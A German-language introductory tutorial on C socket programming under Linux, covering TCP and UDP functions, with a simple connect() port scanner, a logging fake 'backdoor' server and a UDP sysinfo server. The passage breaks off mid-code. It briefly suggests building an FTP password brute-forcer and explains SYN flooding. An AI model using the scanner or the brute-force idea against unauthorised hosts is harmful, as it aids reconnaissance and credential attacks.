l0om.org Netzwerkprogrammierung in C unter Linux Eine Einfuehrung V.1.2 Inhalt 1.0 Vorwort 2.0 Einfuehrung 3.0 Grundlegende Funktionen (Client Side) 3.1 socket 3.2 connect 3.3 close 3.4 sockaddr_in Struktur 3.5 Beispielprogramm (portscanner) 4.0 Grundlegende Funktionen (Server Side) 4.1 bind 4.2 listen 4.3 accept 4.4 Beispielprogramm (fakeserver) 5.0 UDP 5.1 UDP Clients 5.1.1 sendto 5.1.2 recvfrom 5.1.3 connect (Verbinden) mit UDP? 5.2 UDP Server 5.3 UDP Client/Server Beispiel (sysinfs.c sysinfs.c) 6.0 Anspruchsvollere Server 6.1 fork 6.2 signal 6.3 Beispielprogramm (paraleller-Server / Trojand echoserver). 7.0 Einfuehrung in Raw-Sockets 7.1 Header Ueberblick 7.1.1 IP Header 7.1.2 Tcp Header 7.1.3 Udp Header 7.1.4 Icmp Header 7.1.5 Pseudo Header 7.2 Beispielprogramm (TCP-Sniffer) 7.3 sendto 7.4 Beispielprogramm (pong / Abart von ping) 7.5 select 7.6 Verbesserung (pong) 7.7 Funktionen zur einfachen/schnellen Raw-Socket programmierung 8.0 Schlusswort 9.0 Greets 1.0 Vorwort In diesem Tutorial werden wir uns mit der Netzwerkprogrammierung unter Linux(/UNIX) beschaefftigen. Dabei werden wir nur mit der Programmiersprache C arbeiten. Es werden Vorkenntnisse in C verlangt. Man sollte also wissen, was ein Deskribtor oder ein String ist. # ;) Desweiteren muss der Leser interessiert sein, wenn er also eine der aufgefuehrten Funktionen nicht kennt (z.B. „read“,“write“), sollte er sich die entsprechenden Manuals ansehen ($ man funktion). Rechtschreibfehler sind auf den geistigen Zustand des Authors zurueckzufuehren. Der Text ist ziemlich einfach geschrieben und enthaelt nur die wichtigsten Details zu Funktionen. Ein wenig Wissen ueber TCP/IP sollte ausreichen um die Thematik zu verstehen, wobei wir uns hier nur mit Ipv4 beschaefftigen werden. Wir werden uns hier verstärkt mit TCP befassen. Dieses Tut ist also ein Einstieg und Themen wie Threading oder Multicasting werden hier nicht besprochen. 2.0 Einfuehrung C ist eine sehr flexible Sprache, die sich ueber viele bereiche der Programmierung streckt. So kennt man begriffe wie Kernelprogrammierung, Systemprogrammierung und Netzwerkprogrammierung. Die Netzwerkprogrammierung beschaefftigt sich mit der Kommunikation zwischen einem Client und einem Server. Der Server stellt einen Dienst zur verfuegung, waehrend der Client sich mit dem Server verbindet um diesen Dienst in Anspruch zu nehmen. Mit Betriebssystemen werden in der Regel netzwerkfaehige Programme mitgeliefert. So kennt man Web-Browser, FTP-Clients oder POP-Clients. Wir wollen aber unsere eigenen Server/Client Anwendungen schreiben. Sockets sind fuer uns eine vollkommen transparente Schnittstelle zu einem entferntem Host. Dabei kommt es fuer uns nicht darauf an ob der Host in unserm LAN oder in einem WAN liegt. Ueber den Socket werden Datenpakete von uns bis hin zu einem entferntem Host gesendet. Wir sagen dem Socket nur was wir wollen und dieser erledigt den Rest der Arbeit. Ganz anders sieht es bei Raw-Sockets aus. Wie der Name schon vermuten laesst (raw = roh), wird hier die Transparents der Netzwerkkommunikation aufgehoben. Nun sind wir als Programmierer in der Lage, ueber den Raw-Socket, unsere selbst erstellten Datenpakete zu senden. 3.0 Grundlegende Funktionen (Client Side) Wie in allen Bereichen der C Programmierung benoetigen wir Funktionen, mit denen uns die Arbeit bei der Programmierung ermoeglicht wird. Wie gewohnt befinden sich die Funktionen in Headerdateien. Um einen kurzen Ueberblick zu bekommen wie gross unsere Moeglichkeiten sind, empfehle ich mal einen Blick ins Verzeichnis der „netinet“ Header zu werfen. l0om@work:~> cd /usr/include/netinet l0om@work:/usr/include/netinet> ls Es werden eine Menge Header aufgelistet, die alle fuer netzwerkprogrammierung genutzt werden koennen. Wir werden nun einen Blick auf die wichtigsten Funktionen der Netzwerkprogrammierung werfen. 3.1 socket Wie wir nun wissen kommunizieren Hosts ueber Sockets. Doch woher nehmen wir diese? Wie alles andere unter Unix Systemen sind auch Sockets Deskribtoren. Das bedeutet also, dass wir diese wie jeden andere Variable verwenden koennen. Wir koennen mit read() von ihr lesen und mit write() auf ihr schreiben. Wir werden uns nun die Funktion ansehen um einen Socket zu erstellen: Funktionsdefinition #include int socket(int family, int type, int protocol); Rueckgabewert Bei Erfolg gibt uns die Funktion einen Socket zurueck. Bei einem Misswerfolg erhalten wir -1. Argumente „family“ gibt die Protokollfamilie an. Es werden Konstanten benutzt um der Variablen einen Wert zu geben. Konstantenname Definition AF_INET Verwendung von Ipv4 AF_INET6 Verwendung von Ipv6 AF_LOCAL Unix Domain Protokolle AF_ROUTE Routing-Sockets AF_KEY Key Sockets “type” sagt der Funktion welche Art von Sockets wir haben wollen. Konstantenname Definition SOCK_STREAM Stream-socket (TCP) SOCK_DGRAM Datagram-socket (UDP) SOCK_RAW Raw-socket (was wir wollen) “protocol” bleibt ausser bei Raw-sockets “0”. Bei Raw-sockets koenne wir so mitteilen, fuer welches Protocol wir unsere Pakete erstellen/lesen moechten. Konstantenname Definition IPPROTO_TCP TCP IPPROTO_UDP UDP IPPROTO_ICMP ICMP Beispiel /* wir erstellen uns einen TCP-socket */ int sock; ... sock = socket(AF_INET, SOCK_STREAM, 0); … /* wir erstellen uns einen UDP raw socket */ int rawsock; ... rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); Wenn der Socket erfolgreich erstellt wurde, koennen wir diesen wie jede andere intenger Variable verwenden. 3.2 connect Wenn wir nun einen Socket erstellt haben, koennen wir uns mit der connect Funktion mit einem entferntem Dienst verbinden. Funktionsdefinition #include int connect(int sockfd, const struct sockaddr *servaddr, socklen_t addrlen); Rueckgabewert Bei einer erfolgreichen Verbindung erhalten wir 0. Bei einem Misserfolg -1. Welche Misserfolge gibt es? Wenn unser Client keine Antwort auf das gesendete TCP +Syn Paket bekommt, wird errno ETIMEDOUT zurueckgegeben. Die laenge fuer einen Timeout einer Verbindung kann im /proc/sys/ip4/ Verzeichnis interaktiv veraendert werden. Wenn die Antwort des Hosts ein TCP +RST ist, also der Port geschlossen ist, wird errno ECONNREFUSED zurueckgegeben. Argumente „sockfd“ muss ein bereits erstellter Socketdeskribtor sein. „servaddr“ muss muss ein Zeiger auf eine sockaddr Struktur ein. Diese Struktur enthaelt Daten die fuer einen Verbindungsaufbau benoetigt werden. Unter anderm der Ziel-Port und die Ziel-Ip Addresse. Auf diese bedeutende Struktur gehen wir gleich ein. „addrlen“ muss die laenge der sockaddr Struktur in Bytes beinhalten. Beispiel /* verbindung */ ... if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct servaddr)) == -1) { fprintf(stderr, “cannot connect\n”); return (-1); } else printf(“connected\n”); ... Es wird connect innerhalb einer “if” Kontrollstruktur aufgerufen, um den Rueckgabewert der Funktion abzufangen. Wenn der Wert -1 ist, also ein Fehler, wird auf dem „stderr“ Stream ein Benachrichtigung ausgegeben. Andernfalls wird auf „stdout“ ebenfalls eine Benachrichtigung ausgegeben. 3.3 close Mit „close“ schliessen wir geoeffnete Deskribtoren. Diese werden am Ende eines Programms von alleine geschlossen, es zeugt aber von gutem Styl wenn man die Deskribtoren schliesst. Ausserdem wird bei einer aktiven TCP Verbindung ein normaler Verbindungsabbau eingeleitet. Desweiterem werden alle Daten, die noch als Warteschlange am Socket stehen, versendet. Funktionsdefinition #include int close(int sockfd); Argumente “sockfd” ist der geoeffnete Socket. 3.4 sockaddr_in Struktur Viele Funktionen benoetigen einen Zeiger auf eine „sockaddr“ Addressstruktur. Fuer Ipv4 verwenden wir „sockaddr_in“. Diese enthaelt wichtige Daten fuer einen Verbindungsaufbau. So finden wir hier z.B. die Portnummer und Ipaddresse unseres Zielhosts. Strukturdefinition #include struct sockaddr_in { uint8_t sin_len; /* laenge der Struktur */ sa_family_t sin_family /* AF_INET */ in_port_t sin_port; /* 16-bit TCP/UDP Portnummer in „Computersprache“ */ struct in_addr sin_addr; /* 32-bit Ipv4 Adresse in „Computersprache“ */ char sin_zero[8]; /* leergut ;) */ } Strukturelemente Laut POSIX verlangt diese Struktur jedenfalls nur drei Elemente: sin_family, sin_port, sin_addr. Diese sind also auf jedem Unix oder Unixklon System vorhanden. „sin_family“ traegt den Wert einer Konstanten wie AF_INET, AF_INET6 oder AF_KEY. Diese Konstanten legen fest „womit“ kommuniziert wird. So drueckt man mit AF_INET aus, dass man Ipv4 verwenden will. „sin_port“: Hier gibt man die Ziel-Ipadresse an. Wir koennen aber den Wert nur mit der „htons(VALUE)“ Funktion uebergeben. Das Strukturelement verlangt naemlich, dass der Wert in „Computersprache“ uebergeben wird. Naeheres im Beispiel. „sin_addr“ ist eine weitere Struktur in der sockaddr_in Struktur. Diese weitere Struktur enthaelt jedoch lediglich ein einziges Element- „s_addr“. „s_addr“ ist eine Ipv4 IP Adresse als 32-bit Wert. Auch hierfuer gibt es einige Funktionen mit denen wir die IP-Adresse in das richtige Format bringen. Beispiel /* start */ struct sockaddr_in remotehost; ... remotehost.sin_family = AF_INET; /* Ipv4, bitte */ remotehost.sin_port = htons(80); /* port 80, http(tcp) */ remotehost.sin_addr.s_addr = inet_addr(argv[2]); /* ipadresse soll argument drei sein */ ... 3.5 Beispiel Programm Hier in unserem praktischem Beispiel sehen wir, wie Beispielsweise das zweite Argument ans Programm zur 32-bit IP-Adresse umgewandelt wird. Die Funktion „inet_addr“ erhaelt ein Argument. Naemlich einen Zeiger auf einen String. Dieser String muss dann die IP-Adresse im normal Format enthalten. So- mit diesem Wissen gewappnet, koennen wir uns nun gemeinsam unserer ersten Aufgabe stellen. Wir werden einen einfachen (sehr einfachen) (tcp)Portscanner schreiben. Der Scanner wird mit der „vanilla“ Methode arbeiten. Das bedeutet also, dass wir uns via connect() mit Port fuer Port verbinden und so herrausfinden, welcher Dienst aktiv ist und welcher nicht. Wir werden das Programm Stueck fuer Stueck zusammen durchgehen. /* lamescan.c * another pretty lame connect() scanner... * usage: lamescan [dest-ip] * it only scans from port 1 to 1024 for now. change the values of the * defined STARTPORT && ENDPORT if u need to. * * l0om */ #include #include #include #define STARTPORT 1 /* beginn scanning here */ #define ENDPORT 1024 /* end scanning here */ #define OPEN 1 /* return 1 for open ports */ #define CLOSED 2 /* and 2 for closed ones */ #define ERROR -1 int checkprt(int port, char *ip); Es werden die noetigen Headerdateien eingefuegt. Naemlich stdio.h fuer standart Funktionen, socket.h fuer Funktionen wie „socket“ und netinet/in.h fuer connect und unsere Struktur sockaddr_in. Als naechstes definieren wir uns Konstanten. Die Konstanten STARTPORT und ENDPORT bestimmen von wo bis wo gescannt wird und koennen bei bedarf veraendert werden. ERROR, OPEN und CLOSED sind Returnwerte mit denen wir arbeiten werden, um zu sehen, ob unser Port geoeffnet ist oder nicht. Wir erstellen uns einen Funktionsprototyp. Diese Funktion werden wir verwenden, um uns mit einem Port zu verbinden. „port“ gibt die Portnummer an und „ip“ muss die IP-Adresse im Klartext ein. int checkprt(int port, char *ip) { int test = 0; int sockfd; struct sockaddr_in servaddr; sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd < 0) { printf("error. cannot creat socket\n"); return ERROR; } servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(ip); servaddr.sin_port = htons(port); test = connect(sockfd, (struct sockaddr_in *)&servaddr, sizeof(servaddr)); if(test == -1){ close(sockfd); return CLOSED; } close(sockfd); return OPEN; } Und hier ist auch schon der Funktionskoerper. Es wird ein Socket erstellt und getestet ob dieser auch erfolgreich erstellt wurde. Danach initialisieren wir unsere Struktur. Wir verwenden das „ip“ Argument als Argument fuer „inet_addr“ und das „port“ Argument als Argument fuer „htons“. Wir lassen also unsere Argumente von den beiden Funktionen in „Computersprache“ umwandeln. Nun rufen wir connect auf und speichern den Reuckgabewert mit der intenger Variablen „test“. Der Rueckgabewert von „test“ wir auf -1 ueberprueft. Ist der Test negativ(-1) wird CLOSE returned, andernfalls OPEN. Nun aber zur main Funktion. int main(int argc, char **argv) { int i; char *dest; if(argc != 2) { printf("usage: %s [dest-ip]\n",argv[0]); return ERROR; } dest = argv[1]; printf("\n\tlamescan a REAL lame portscanner\n"); printf("\t-----------------------------------\n"); printf("\tl0om\n\n"); printf("scanning from %d to %d -> %s\n\n",STARTPORT, ENDPORT, argv[1]); for(i = STARTPORT; i <= ENDPORT; i++) if(checkprt(i,dest) == OPEN) printf("port %d is open\n",i); printf("scan finished\n"); return 0; } Wir ueberpruefen ob das Programm richtig aufgerufen worden ist. Also mit einem Argument. Dann weisen wir den Zeiger „dest“ auf den Anfang des ersten Arguments. Wir initialisieren die Variable „i“ mit dem Wert der Konstanten STARTPORT und inkrementieren „i“ bis sie den Wert von ENDPORT erreicht. Den Wert von „i“ setzen wir bei jedem Schleifendurchlauf als „port“ Argument bei „checkprt“ ein und ueberpruefen jedes Mal den Rueckgabewert der Funktion. Bei OPEN wird der Benutzer benachrichtigt, andernfalls nicht. Nun ein einfacher: root:~ # gcc -o lamescan lamescan.c root:~ # ./lamescan 127.0.0.1 # wir scannen das fbi ;) und es werden uns die offenen TCP Ports des Hosts angezeigt. Mit unserm bisherigem Wissen koennten wir sogar ein Brutforce Programm schreiben. Einfach mit dem Dienst verbinden und mit „write()“ den noetigen String uebergeben (z.B. FTP: USER blah\r\n && PASS blahblah\r\n). Dann lesen wir via „read()“ den Output des Servers und erkennen so, ob das Password richtig war oder nicht. Aber ich will euch ja nicht alle Arbeit nehmen. 4.0 Grundlegende Funktionen (Server Side) Als Server haben wir die Aufgabe auf einem Port auf Verbindungen zu horchen. Wenn ein Client eine Verbindung aufbauen moechte, ermoeglichen wir ihm dies. Je nach Server Anwendung bieten wir dem Clienten nun unsere Dienste an. Um all dies zu bewerkstelligen benoetigen wir natuerlich neue Funktionen. Wobei wir auch die oben genannten verwenden muessen. 4.1 bind Mit der "bind" Funktion verknuepfen wir Protokoll spezifische Daten, wie z.B. die Portadresse und die Ip-Adresse die sich mit uns in verbindung setzen darf. Funktionsdefinition #include int bind(int sockfd, const struct sockaddr *myaddr, socklen_t addrlen); Rueckgebewerte 0 bei Okay, -1 bei Fehler. Argumente "sockfd" ist der zu "verknuepfende" Socket, auf dem wir nachher auf Verbindungen horchen. "myaddr" stellt eine ausgefuellte "sockaddr_in" Struktur dar. In dieser wird zum einen die Protokollfamilie definiert, sowie Portadresse und die Ip-Adresse der localen Schnittstelle die sich mit uns in Verbindung setzten darf. Da dies unseren Server auf Verbindungen mit dem gleichen Host beschraenken wuerde, nutzen wir immer ein Wildcard, mit dem jeder Client in der Lage ist, sich mit dem Server zu Verbinden. Dazu weisen wir der Variablen "s_addr" den Wert wie folgt zu: servaddr.sin_addr.s_addr = htonl(INADDR_ANY); "socklen_t" ist die Groesse der Struktur in Bytes. Beispiel: /* start */ struct sockaddr_in myaddr; ... myaddr.sin_family = AF_INET; myaddr.sin_port = htons(6736); myaddr.sin_addr.s_addr = htonl(INADDR_ANY); ... if(bind(sockfd,(struct sockaddr *)&myaddr, sizeof(struct sockaddr)) == -1) { fprintf(stderr,"cannot bind\n"); return (-1); } ... Hier wird eine Struktur fuer die Protokollfamilie IPv4 Ausgefuellt. Zum einen wird verstgelegt, dass der Socket sockfd auf dem port 6736 horchen soll und zum andern dass sich ausnahmslos jeder mit ihm verbinden kann. Es sei denn man schliesst IP Adressen mit hilfe von /etc/hosts.deny aus, aber das ist ein anders Thema. 4.2 listen Mit der "listen" Funktion sagen wir dem Socket er soll beginnen zu horchen. Der Socket geht in den passiven Modus und wartet auf ankommende Verbindungen. Wir koennen die ankommende Verbindung aber hiermit nicht akzeptieren, dafuer ist "accept" verantwortlich. Funktionsdefinition #include int listen(int sockfd, int backlog); Rueckgabewerte 0 bei Okay, -1 bei Fehler. Argumente "sockfd" muss(!) ein Socket sein, der erfolgreich erstellt wurde und an dem bereits mit "bind" die noetigen Protokollinformationen verknuepft sind. Dieser Socket wird also zum horchen auf Verbindungen verwendet. "backlog" ist eine Ganzzahl die dem Kernel angibt, wieviele Verbindungen er in die Warteschlange setzen soll. Dabei beruecksichtigen wir, dass der Kernel zwei Warteschlangen verwaltet. Zum einen unvollstaendige Verbindungen (es kam ein Syn und man wartet auf das zweite Syn) und bereits vervollstaendigte Verbindungen. #########NOTE######### Hier liegt die Gefahr fuer Syn-flooding. Es kommen eine Fuelle von Syn Paketen an den Port. Dieser legt jedes Syn als unvollstaendige Verbindung in "backlog" ab. Das hat frueher oder spaeter zur Folge, dass der Schwellwert von "backlog" erreicht wird und keine weiteren Verbindungen akzeptiert werden. Heute gibt es Gegenmassnahmen wie syn-cookies. Diese werden intern vom Kernel gesteuert. ####################### Beispiel /* start */ ... listen(sockfd, 12); ... Wir horchen an dem Socket "sockfd" und wir legen maximal 12 Verbindungen in die Warteschlange. 4.3 accept Mit „accept“ haben wir die Moeglichkeit, die naechste vollstaendige Verbindung aus der Warteschlange zurueckzugeben. Gibt es keine vollstaendige Verbindung zum zurueckgeben, blockiert die Funktion so lange bis es eine vollstaendige Verbindung in der Warteschlange findet. Wie wir wissen, wird die Warteschlange von der „listen“ Funktion geregelt. Der horchende Socket bleibt bestehen und kuemmert sich um die Warteschlange. Wir erhalten naemlich von der Funktion einen neuen Socket, der den verbunden Client darstellt. Funktionsdefinition #include int accept(int sockfd, struct sockaddr *cliaddr, socklen_t addrlen); Rueckgabewerte Bei Erfolg gibt die Funktion einen brandneuen verbundenen Socket zurueck. Dieser neue Deskribtor verweist auf die TCP Verbindung mit dem Client. Bei einem Misserfolg erhalten wir -1. Argumente „sockfd“ ist der „listen-Deskribtor“. Also der Socket, der von listen verwendet wurde, um auf ankommende Verbindungen zu horchen. „cliaddr“ ist die Protokolladresse des verbunden Clients. Wir erhalten also dessen IP-Adresse und weitere Daten. Wenn wir an der identitaet des Clients nicht interessiert sind, setzten wir bei „cliaddr“ und „addrlen“ einfach die Konstante NULL ein. „addrlen“ ist die groesse von „cliaddr“ in Bytes. Beispiel /* start */ int sockfd, connfd; … bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); listen(sockfd, 4); … while(1) { connfd = accept(sockfd, (struct sockaddr *)&client, sizeof(client)); do_something_with_client(&connfd); close(connfd); } Hier sehen wir, dass zwei Socket-Deskribtoren deklariert werden. Einmal „sockfd“ und „connfd“. Es werden die Funktionen wie „bind“ und „listen“ auf den Socket „sockfd“ ausgefuehrt. Nun rufen wir eine Endlosschleife auf. Wenn „accept“ eine vollstaendige Verbindung bekommt, gibt sie den neuen Deskribtor an „connfd“ weiter. Nun wird dem Client der Dienst zur Verfuegung gestellt und danach die Verbindung mit „close“ geschlossen. 4.4 Beispielprogramm Schauen wir uns nochmal das Prinizp einer Server-Application genauer an. socket() | | | bind() | | | listen() | | <---------| | | accept() | | | | | dienst() | | | | | close()-------- Mit „socket“ erstellen wir uns also zunaechst einen Socket (TCP/UDP). Als naechstes verknuepfen wir mit „bind“ Protokollinformationen an den erstellten Socket. Die „listen“ Funktion horcht auf ankommende Verbindungen. Mit „accept“ nehmen wir die ankommende Verbindung an und bieten dem Client unsern Dienst an. Nach beendigung der Inanspruchnahme des Dienstes, schliessen wir den Socket und somit auch die Verbindung, mit „close“. Doch da ein Server natuerlich weiterhin erreichbar bleiben soll, gehen wir mit Hilfe einer Schleife zurueck, vor „accept“. Wir werden nun einen Beispielserver schreiben. Und zwar werden wir uns einen fakeserver fuer unsere „Trojaner“ h4X0rZ basteln. Wir werden unseren gefakten Dienst unter einem standart Backdoor-Port anbieten. Der Anwender kann mit hilfe der „-p“ Funktion den Port bestimmen auf dem gehorcht werden soll. Die Verbindung wird in eine LOGFILE geschreiben (ip-adresse und datum). Bei bedarf kann der Benutzer die „-a“ Funktion aufrufen, die einen „bell“ Ton von sich gibt, wenn sich ein 1337 h4x0r verbindet. Unser verbundener Experte bekommt von uns natuerlich noch nen Spruch reingedrueckt den wir in der Konstanten MASSAGE definieren :). /* fakeserver.c a fakeserver for the trojan l337 I_4m3rZ. all connected h4x0rZ see the #defined MASSAGE - change it if u want. all connections get logged to the #defined LOGFILE - change if u want. l0om */ #include #include #include #include #define LOGFILE "/root/fakeserver.log" /* all connections are logged here*/ #define MASSAGE "hey u l337 h4x0r-> u got blamed by a fakeserver, so FUCK OFF (now plz)" /* the message */ void help(); Wir includen wie gehabt einige Headerdatein. „time.h“ verwenden wir um das Datum der Verbindung zu ermitteln. Es werden die genannten Konstanten definiert wie LOGFILE und MASSAGE. Wir benoetigen nur eine „help“ Funktion um dem unbedartem Benutzer die benutzung zu erklaeren. int main(int argc, char **argv) { int i; ssize_t len; int alert = 0; int sockfd, connfd; int port = 6667; struct sockaddr_in servaddr, cliaddr; time_t istime; FILE *logfd; if( (getuid()|getgid()) != 0) { printf("sorry-> u must be root"); return -1; } if(argc > 1) { for(i = 0; i < argc; i++) { if(strncmp(argv[i], "-p", 2) == 0) port = atoi(argv[++i]); if(strncmp(argv[i], "-h", 2) == 0) { help(); return 0; } if(strncmp(argv[i], "-a",2) == 0) alert = 1; } } Wir deklarieren einige Variablen und Strukturen fuer den weiteren Programmablauf. Wir ueberpruefen ober der Benutzer root ist. Mit „i“ arbeiten wir die uebergebenen Argumente ab. „alert“ wird auf 1 gesetzt, wenn die „-a“ Option gewaehlt wurde. Desweiteren werden zwei Sockets erstellt. „port“ traegt einen standart Wert der aber mit hilfe der „-p“ Funktion geaendert werden kann. Wir deklarieren zwei „sockaddr_in“ Strukturen. Eine fuer den Server und die andere fuer unsern verbundenen Experten. „time_t“ ist eine vorzeichenlose Zahl die wir verwenden um die Uhrzeit und das Datum zu ermitteln. „logfd“ ist ein Filedeskribtor mit dem wir in die LOGFILE schreiben werden. memset(&servaddr, '\0', sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd < 0) { printf("cannot create socket\n"); return -1; } bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)); listen(sockfd, 6); len = sizeof(cliaddr); while(1>0) { connfd = accept(sockfd, (struct sockaddr *)&cliaddr,&len); if(alert) printf("\a"); logfd = fopen(LOGFILE, "a"); if(logfd < 0) { printf("cannot write to logfile\n"); logfd = stdout; } write(connfd, MASSAGE, strlen(MASSAGE)); istime = time(NULL); fprintf(logfd, "%s connected at %s\n",inet_ntoa(cliaddr.sin_addr.s_addr), ctime(&istime)); fclose(logfd); close(connfd); } return 0; } Wir geben der „servaddr“ Struktur die wichtigen Werte fuer unseren Server. Dann erstellen wir uns einen Socket. An diesen verknuepfen wir wie gehabt mit „bind“ Protokollinformationen. Wir rufen „listen“ auf, um auf Verbindungen zu warten. In der Endlosscheife rufen wir „accept“ auf, die zunaechst mal blockiert. Wenn eine Verbindung ankommt wird entweder ein „bell“ Ton abgegeben oder nicht. Im weiterem Verlauf oeffnen wir unsere LOGFILE. Nun bekommt unsere Experte unsere liebevolle Nachricht serviert und alle Daten werden in die LOGFILE geschrieben. Danach trennen wir die Verbindung und schliessen die Datei. Fuer Informationen zu „time()“ : $ man time void help() { puts("fakeserver.c\n"); puts("usage"); puts("./fakeserver -p 6969"); puts("-p : the following argument must be the port to fake"); puts("-h : prints this help message"); puts("-a : allways rings when some h4xor connected"); puts("for change logfile or the message see the source\n"); puts("l0om"); } Das help menue. Gut- ans Werk. root:~ # gcc -o fakeserver fakeserver.c root:~ # ./fakeserver -p 6969 -a & Wir fuehren das Programm im Hintergrund aus. Nun ein Test... root:~ # telnet 127.0.0.1 6969 Trying to Connect 127.0.0.1… Connected with 127.0.0.1. Escape Character is ‘^[‘ hey u l337 h4x0r-> u got blamed by a fakeserver, so FUCK OFF (now plz) Connection closed by foreign Host. root:~ # cat /root/fakeserver.log 127.0.0.1 connected at #datum :) 5.0 UDP Bis jetzt haben wir uns nur mit TCP Anwendungen auseinander gesetzt. Aber es gibt zu TCP auch eine Alternative. Das UDP (User Datagram Protokoll) ist im Gegensatz zu TCP verbindungslos. Das heisst im Klartext, es gibt nicht wie bei TCP eine Verbindung, geschweige denn einen Verbindungsaufbau. Des weiteren sagt man UDP zurecht nach, es sei ein unsicheres Protokoll. Damit ist gemeint, dass man bei UDP keine Informationen darueber bekommt ob ein Datagram das Ziel erreicht hat oder nicht. Trotzdem gibt es Anwendungen die UDP statt TCP den vorrang geben. SNMP, TFTP und NFS sind nur drei prominente Beispiele. Da UDP im Prinzip alles egal ist, ist es auch in punkto schnelligkeit besser al TCP. Aber auch wiederrum Unsicher (hier beisst sich die Katze in den Schwanz). Nicht zu vergessen- UDP ist BROADCAST faehig. Das hiesst, das ein Client mit einem ganzen Subnet kommuniziren kann. TCP besitzt diese Faehigkeit nicht. Wie koennen wir als Programmierer nun mit UDP Netzwerkanwendungen schreiben? 5.1 UDP Clients Das Prinzip des UDP Clients aehnelt natuerlich dem TCP Client. Es muessen aber aufgrund der unterschiede von UDP und TCP andere Funktionen her. Sehen wir uns einen Client von der Vogelperspektive an: socket() | | sendto() /* senden der Daten */ | | recvfrom() /* lesen der Antwort */ | close() Fuer diesen Ablauf benoetigen wir lediglich zwei neue Funktionen, die wir uns jetzt genauer ansehen werden. 5.1.1 sendto Funktionsdefinition #include ssize_t sendto(int sockfd, void *buf, size_t nbytes, int flags, struct sockaddr *to, size_t addrlen); Rueckgabewerte “sendto” liefert entweder –1 bei einem Fehler, oder die Anzahl der gesendeten Bytes vom UDP Socket. Argumente „sockfd“ ist wie wir uns schon denken koennen, ein erstellter UDP Socket. In „buf“ stehen die zu uebertragenen Daten. Da es ein void-Datentyp ist, koennen hier alle erdenklichen Datentypen uebertragen werden. „nbytes“ ist die groesse von „buf“ in bytes. Das „flags“ Argument besprechen wir ein anderes mal. Wir lassen flags zunaechst immer auf 0 stehen. In der sockaddr Struktur, befinden sich wie immer die Protokoll spezifischen Daten, die zum Datenaustasuch benoetigt werden. Das heisst im Klartext: Zielport, Zieladresse und Familie (siehe tcp- es handelt sich um die gleiche Struktur). In „addrlen“ wird die Anzahl der Bytes von der Struktur sockaddr hinterleget. 5.1.2 Funktionsdefinition ssize_t recvfrom(int sockfd, void *buf, size_t nbytes, int flags, const struct sockaddr *to, size_t *addrlen); Rueckgabewerte “recvfrom” gibt –1 bei einem Fehler zurueck oder die Anzahl der gelesenen Bytes. Wobei ein Rueckgabewert von 0 nicht ein Fehler ist. Ein Wert von 0 bedeutet, dass wir ein UDP Packet erhalten habe, welches jedoch keinen Dateninhalt hat (ipheader+udpheader). Was ausserdem noch wichitig ist ist, dass das letzte Argument ein Zeiger ist. Wir koennen also nicht „sizeof(servaddr)“ als Argument uebergeben, sondern muessen einer Variablen den Wert zuweisen und mit dem Dyadischen Register Operator (&) die Speicheradresse uebergeben. Argumente Die meisten Argumente sind die selben wie bei „sendto“. Was sich aendert, ist das „to“ Argument. Wenn wir dieses Argument nicht mit der Konstanten NULL belegen, sondern mit einer gueltigen Struktur, schreibt revfrom die Daten des Senders in diese Struktur. So koennen wir den Absender ueberpruefen (und ob das UDP Packet nicht von jemand anders gesandt wurde). 5.1.3 Connect (verbinden) mit UDP? Ist es moeglich einen connect() Aufruf mit einem UDP client zu starten? Ja, das ist es. Doch bei connect() mit UDP wird im Gegensatz zu TCP kein three-way-hanshake stattfinden, sondern der Kernel legt die Daten die wir bei connect() in der Struktur sockaddr uebergeben, in seinen Logs ab und kehrt zurueck. Es findet also KEINE Verbindung statt, von daher koennen wir lamescan.c nicht sooo einfach umwandeln, dass wir auch UDP Ports scannen koennen. Was vorstellbar waere, waere ein sendto zu jedem Port und dann ein recvfrom. Wenn er eine Antwort liest ist der Port offen (Antwort erhalten) ansonsten geschlossen. Bitte dran denken, dass recvfrom eine blockierende Funktion ist und man Funktionen wie select einbauen muss (sonst bleibt das Programm bei keiner Serverantwort haengen). Wir werden ein noch einfacheres Beispielprogamm schreiben. Welche Vorteile bringt der connect() Aufruf denn bei UDP? Also, wenn wir connect() aufrufen, sind wir in der Lage die Daten mit Funktionen wie write() oder send() zu uebertragen. Ausserdem koennen wir mit Funktionen wie read() oder recv() lesen. 5.2 UDP Server Wir machen einen kleinen Schwenker, rueber zu den Servern. Die Server arbeiten mit den selben Funktionen wie bei den Clienten und bei den TCP Servern. socket() | | bind() | <--------| recvfrom() | | | sendto() | | | close()------| Als UDP Server kann man auf ein listen() verzichten. Dennoch muessen wir mit bind() die Protokoll spezifischen Daten festlegen (siehe tcp). Der Server wartet natuerlich zunaechst auf den erhalt eines Packets (recvfrom) und faengt dann mit der Verarbeitung an. Was auffaellt ist, ist dass wir weder listen() noch accept() benoetigen. Wir warten einfach darauf das uns irgendjemand irgendwas schickt, was mit UDP zu tun hat. 5.3 UDP Server/Client Beispiel (sysinfs.c sysinfc.c) In diesem Beispiel, werden wir einen UDP Server schreiben, der dem Clienten Informationen ueber den Kernel schickt. Wir werden wie gewohnt immer einige Gedankenschnitte machen, damit das Programm auch verstanden wird. Zunaechst der Server – sysinfs.c. #include #include #include #define SERV_PORT 6996 /* port to "listen" */ #define SYSINFO "/proc/version" /* get sysinfos */ Hier werden wie gewohnt erst einmal die benoetigten Header eingebunden. Wir definieren SERV_PORT als den default Port fuer unsere Anwendung. Aus der Datei SYSINFO lesen wir die Daten, die wir dem Client senden werden. int main(void) { int sockfd, nbytes; char sysinfos[60] = { 0 }; char message[20] = { 0 }; size_t len; struct sockaddr_in servaddr, cliaddr; FILE *fd; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if(sockfd < 0) { fprintf(stderr, "error, cannot creat socket\n"); return(-1); } fd = fopen(SYSINFO, "r"); if(fd == NULL) { fprintf(stderr, "error, cannot open sys file\n"); return(-1); } fgets(sysinfos, sizeof(sysinfos), fd); servaddr.sin_family = AF_INET; servaddr.sin_port = 